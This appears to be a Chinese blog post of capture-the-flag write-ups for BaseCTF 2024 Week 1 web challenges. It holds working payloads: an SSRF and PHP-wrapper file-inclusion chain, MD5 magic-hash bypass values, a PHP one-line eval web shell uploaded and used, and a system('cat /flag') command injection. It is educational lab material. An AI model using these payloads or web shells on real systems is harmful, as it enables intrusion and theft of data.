2024BaseCTF-Week1-Web

Week1

官方WP

https://j0zr0js7k7j.feishu.cn/docx/U2dVdIOTCoLrp9xaYCrcEEbkndh

A Dark Room

题目描述

文字游戏 玩得开心!

考点

  • 源代码查看

题解

右键F5查看源代码即可,翻到底部即可看到flag。

basectf2024_week1_web_adarkroom_1


Aura 酱的礼物

题目描述

你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!

考点

  • 伪协议

  • SSRF

  • 文件包含

题解

访问题目,题面为

 <?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 

很明显,最后有一个include($gift),很明显是文件包含漏洞。

在到达include()前,需要绕过3个if判断。

对于第一个if判断。

$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

利用伪协议data://text/plain,Aura即可通过判断。

对于第二个if判断。

$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

strpos()要求了http://jasmineaura.github.io必须出现在$challenge变量的最前面。

第三个if判断。

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

又要求在$challenge的这个网站中包含已经收到Kengwang的礼物啦这个字符串,但通过访问http://jasmineaura.github.io可以发现,该网页中不存在要求的字符串,也不存在留言的位置。

显然,直接访问http://jasmineaura.github.io显然是不行的,对此,我们可以使用@,例如www.baidu.com@127.0.0.1这个url实际访问的是127.0.0.1而不是www.baidu.com,这种写法会使得浏览器忽略@前的地址而访问其后的地址,类似的,www.baidu.com#127.0.0.1则访问的是www.baidu.com

至此,我们就可以在满足第二条判断的同时,控制实际访问的地址。

当然,你可以自己创建一个带有目标字符串的服务器,控制靶机访问你的服务器,但最简单的方法应该是直接让靶机访问获取自己的信息,很显然,它自带这串目标字符串,不是吗。

至此,我们已经绕过所有判断,可以进行文件包含了,这里选择使用

php://filter/convert.base64-encode/resource=flag.php来进行文件读取。

综上,payload为,post传参即可

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/convert.base64-encode/resource=flag.php

最后将获得的base64字符串解码,获得flag


HTTP 是什么呀

题目描述

成为嘿客的第一步!当然是 HTTP 啦!
可以多使用搜索引擎搜索每个参数的含义以及传参方式

考点

  • 请求方式

  • 请求头伪造

题解

basectf2024_week1_web_http_1
根据要求传参即可

首先是GET参数,如果直接传basectf=we1c%00me是不行的,因为%00会被转义为空,我们需要对%进行一下url编码,%25表示%,传入basectf=we1c%2500me即可

然后是POST参数,传入Base=fl@g即可

接着是Cookie参数,传入c00k13=i can't eat it即可

然后是User-Agent参数,修改为Base

接着是Referer参数,修改为Base

最后是ip,添加请求头X-Forwarded-For: 127.0.0.1即可

完成后会发生跳转

basectf2024_week1_web_http_2

来的路上?抵达终点之前?用BurpSuite抓包看看

basectf2024_week1_web_http_3

发现跳转过程中存在flag,base64解码即可

跳转过程为/ => /success.php?flag=xxxxx => /thankyou.php

当然,在/thankyou.php界面的Referer参数中也可以看到flag


md5绕过欸

题目描述

绕哇绕哇绕

考点

  • php的弱比较缺陷

题解

查看题目

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
    $name = $_GET['name'];
    $name2 = $_GET['name2'];
    $password = $_POST['password'];
    $password2 = $_POST['password2'];
    if ($name != $password && md5($name) == md5($password)){
        if ($name2 !== $password2 && md5($name2) === md5($password2)){
            echo $flag;
        }
        else{
            echo "再看看啊,马上绕过嘞!";
        }
    }
    else {
        echo "错啦错啦";
    }

}
else {
    echo '没看到参数呐';
}
?>

第一层要求4个参数都存在,GET传入name=1&name2=2,POST传入password=1&password2=2

第二层要求name与password不同,但MD5后相同,注意到是双等号,即弱比较,利用0e漏洞绕过,在php中的弱比较中,会把0e开头且后面全为数字的字符串视为科学计数法,即0e123 => 0^123 => 0,利用这一点,当有两个不同值的MD5为e开头且后面全为数字的字符串,则会导致0==0,绕过判断,修改GET传入参数为name=240610708&name2=2,POST传入参数为password=314282422&password2=2

类似的,有

240610708 
0e462097431906509019562988736854

314282422 
0e990995504821699494520356953734

571579406 
0e972379832854295224118025748221

QLTHNDT 
0e405967825401955372549139051580

QNKCDZO 
0e830400451993494058024219903391

EEIZDOI 
0e782601363539291779881938479162

TUFEPMC 
0e839407194569345277863905212547

UTIPEZQ 
0e382098788231234954670291303879

第三层相比第二层多了一个等号,变为了强比较,无法再利用0e漏洞绕过,php中的MD5函数无法处理数组,当给它传入数组时,MD5函数会返回NULL,而NULL===NULL,通过判断。

最终GET传入参数为name=240610708&name2[]=1,POST传入参数为password=314282422&password2[]=2


upload

题目描述

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

考点

  • 文件上传

题解

简单写一个最普通的一句话木马

<?php eval($_REQUEST["cmd"]);?>

保存名字为normal.php,上传,无任何过滤,并且返回了源码

<?php
error_reporting(0);
if (isset($_FILES['file'])) {
    highlight_file(__FILE__);
    $file = $_FILES['file'];
    $filename = $file['name'];
    $filetype = $file['type'];
    $filesize = $file['size'];
    $filetmp = $file['tmp_name'];
    $fileerror = $file['error'];

    if ($fileerror === 0) {
        $destination = 'uploads/' . $filename;
        move_uploaded_file($filetmp, $destination);
        echo 'File uploaded successfully';
    } else {
        echo 'Error uploading file';
    }
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传你喜欢的图片吧!</title>
</head>

<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">上传!</button>
    </form>
    <?php
    $files = scandir('uploads');
    foreach ($files as $file) {
        if ($file === '.' || $file === '..') {
            continue;
        }
        echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
    }
    ?>
</body>

</html>

文件上传至uploads/目录下,那么我们的木马就在uploads/normal.php,用蚁剑连接

basectf2024_week1_web_upload_1

连接成功后访问/flag文件获取flag


喵喵喵´•ﻌ•`

题目描述

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....

考点

  • 命令执行

题解

题面

<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?> 

一个没有任何过滤的简单命令执行,GET传入DT=system("cat /flag");,注意不要忘记分号

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇